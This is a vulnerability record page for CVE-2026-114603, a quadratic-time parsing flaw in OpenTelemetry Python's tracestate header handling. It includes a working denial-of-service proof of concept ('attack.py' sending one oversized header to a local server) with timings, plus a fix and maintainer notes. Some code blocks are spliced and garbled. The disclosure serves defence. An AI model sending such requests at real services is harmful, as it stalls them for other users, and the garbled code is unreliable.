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Response snapshot Oct 26, 2026, 23:07 UTC

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VulnerabilityCVE-2026-114603

OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api

1. The header reaches the parser without any length check: ```python # opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57 tracestate_headers = getter.get(carrier, self.

Published Updated

At a glance

Exploited
Not known
Severity
5.3 Medium (CVSS 3.1)
Chance of exploitation
0.5% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: opentelemetry-api: 1.45.1. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-xcq7-p3pf-p88h (opens a new tab)

What happened

## Summary `TraceState.from_header` splits the inbound W3C `tracestate` header with a regular expression that starts with an unbounded optional-whitespace run, and no length limit is applied first. A run of spaces or tabs that is not followed by a comma costs O(N²) CPU. A single unauthenticated request with a ~100 KB `tracestate` keeps the handling worker busy for ~6 s (spaces) to ~12 s (tabs); under an asyncio server it blocks every other connection for that time.

## Affected component / version - Package: `opentelemetry-api` (pip) — `opentelemetry/trace/span.py` (`TraceState.from_header`), reached from `opentelemetry/trace/propagation/tracecontext.py` (`TraceContextTextMapPropagator.extract`). - Confirmed in `main` (5e8083e8) and in the v1.44.0 and v1.45.0 tags; the same pattern is present back to v1.0.0 (introduced by #1599, March 2021).

Not exhaustively verified against every release in between. - Reachable with the default propagators (`OTEL_PROPAGATORS` defaults to `tracecontext,baggage`) from any server instrumentation that calls `propagate.extract()`, for example `opentelemetry-instrumentation-asgi`.

## Details

Continue reading

1. The header reaches the parser without any length check:

```python # opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57 tracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME) # TraceState: pairs = {} # type: dict[str, str] for header in header_list: members: list[str] = re.split(_delimiter_pattern, header) # self._MAX_HEADER_LENGTH: # 7} characters {elapsed:6.2f} s growth when size doubles: {growth}") previous = elapsed ``` 3.

Run `python poc_tracestate.py`. 4. **What to observe:** the time grows by about **×4 every time the input size doubles** (a linear parser would show ×2). Absolute numbers depend on the CPU; the growth factor does not. Our run: ``` 10000 characters 0.06 s growth when size doubles: - 20000 characters 0.26 s growth when size doubles: x4.0 40000 characters 1.04 s growth when size doubles: x4.0 80000 characters 4.

13 s growth when size doubles: x4.0 ``` Replace `" "` with `"\t"` to see ≈1.6× longer.

### B. Show that one request stalls a real server This uses `OpenTelemetryMiddleware` from `opentelemetry-instrumentation-asgi` around a trivial ASGI app and the default `uvicorn[standard]` parser (httptools).

1. Install: `pip install opentelemetry-api opentelemetry-instrumentation-asgi "uvicorn[standard]"`. 2. Save as `app.py`: ```python from opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware

async def app(scope, receive, send): await send({"type": "http.response.start", "status": 200, "headers": [(b"content-type", b"text/plain")]}) await send({"type": "http.response.body", "body": b"ok"})

app = OpenTelemetryMiddleware(app) ``` 3. Start the server in one terminal: `uvicorn app:app --host 127.0.0.1 --port 8000 --http httptools` 4. Save as `attack.py`: ```python """Send one oversized tracestate request and, while it is being handled, measure how long an unrelated request to the same server has to wait.""" import socket import sys import threading import time

HOST, PORT = "127.0.0.1", 8000 N = int(sys.argv[1]) if len(sys.argv) > 1 else 100_000 TRACEPARENT = "00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01"

def get(path, extra=""): s = socket.create_connection((HOST, PORT), timeout=120) s.sendall(f"GET {path} HTTP/1.1\r\nHost: x\r\nConnection: close\r\n{extra}\r\n".encode()) start, data = time.perf_counter(), b"" while chunk := s.recv(65536): data += chunk return time.perf_counter() - start, data.split(b"\r\n")[0].decode()

result = {} extra = f"traceparent: {TRACEPARENT}\r\ntracestate: a=b{' ' * N}x\r\n" attacker = threading.Thread(target=lambda: result.update(a=get("/attack", extra))) print("idle /ping: %.3f s %s" % get("/ping")) attacker.start() time.sleep(0.5) # let the attack request reach the server first print("/ping during the attack: %.3f s %s" % get("/ping")) attacker.join() print("attack request itself: %.

3f s %s" % result["a"]) ``` 5. In a second terminal run `python attack.py 100000`. 6. **What to observe:** the idle `/ping` answers in milliseconds, but a `/ping` sent half a second *after* the attack request has to wait for the attack request to finish, even though it is a different, innocent request. Our run: ``` idle /ping: 0.000 s HTTP/1.1 200 OK /ping during the attack: 5.909 s HTTP/1.

1 200 OK TraceState: for header in header_list: - members: list[str] = re.split(_delimiter_pattern, header) + members: list[str] = [m.strip(" \t") for m in header.split(",")] ``` `_delimiter_pattern` (line 46) is then unused and can be removed. We also suggest rejecting a header longer than the W3C limit (512 characters for the list) before parsing, the way the baggage propagator does with `_MAX_HEADER_LENGTH`.

On valid input the two forms return identical members (empty members preserved); the only behaviour change is that a header with leading whitespace is now accepted instead of producing an empty `TraceState`, which is more spec-compliant. Cost at N = 100,000 drops from ~9 s to ~5e-5 s.

## Credit

Discovered and reported by SecDim Security Research secdim.com | @secdim | security@secdim.com

---

**FROM MAINTAINERS**

## Summary

`TraceState.from_header()` in `opentelemetry-api` used a regular-expression-based operation whose processing time could grow disproportionately when parsing specially crafted inbound `tracestate` headers.

Because W3C Trace Context is enabled by default in OpenTelemetry Python, services accepting untrusted propagation headers could spend excessive CPU time processing a single request.

## Impact

Services accepting untrusted inbound propagation headers may experience increased per-request CPU usage when processing malformed `tracestate` values. In synchronous servers, this may keep a worker occupied. In asynchronous servers, CPU-intensive parsing may delay other requests handled by the same event loop.

The practical impact depends on the HTTP ser

Affected package ranges reported by GitHub: opentelemetry-api: <= 1.45.0

Scores and how they were measured

CVSS base severity

5.3

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.5%

Scored Percentile 41.7%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-xcq7-p3pf-p88h (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  12. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-114603, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 22). OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api (CVE-2026-114603). https://kevwire.com/record/CVE-2026-114603

MLA

"OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api (CVE-2026-114603)." KEVWire, 22 Oct. 2026, kevwire.com/record/CVE-2026-114603.

Chicago

KEVWire. "OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api (CVE-2026-114603)." Last modified October 22, 2026. https://kevwire.com/record/CVE-2026-114603.

Evidence summary (plain text)

OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api (Oct 22, 2026).
1. The header reaches the parser without any length check:

```python
# opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57
tracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME) # TraceState:
 pairs = {} # type: dict[str, str]
 for header in header_list:
 members: list[str] = re.split(_delimiter_pattern, header) # self._MAX_HEADER_LENGTH: # 7} characters {elapsed:6.2f} s growth when size doubles: {growth}")
 previous = elapsed
```
3. Run `python poc_tracestate.py`.
4. **What to observe:** the time grows by about **×4 every time the input size doubles** (a linear parser would show ×2). Absolute numbers depend on the CPU; the growth factor does not. Our run:
```
 10000 characters 0.06 s growth when size doubles: -
 20000 characters 0.26 s growth when size doubles: x4.0
 40000 characters 1.04 s growth when size doubles: x4.0
 80000 characters 4.13 s growth when size doubles: x4.0
```
Replace `" "` with `"\t"` to see ≈1.6× longer.
CVSS 5.3 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-xcq7-p3pf-p88h).
EPSS 0.5% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114603&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-xcq7-p3pf-p88h: https://github.com/advisories/GHSA-xcq7-p3pf-p88h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo1MTozMFrOAAf0Mg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114603&date=2026-10-26
Record ID: CVE-2026-114603.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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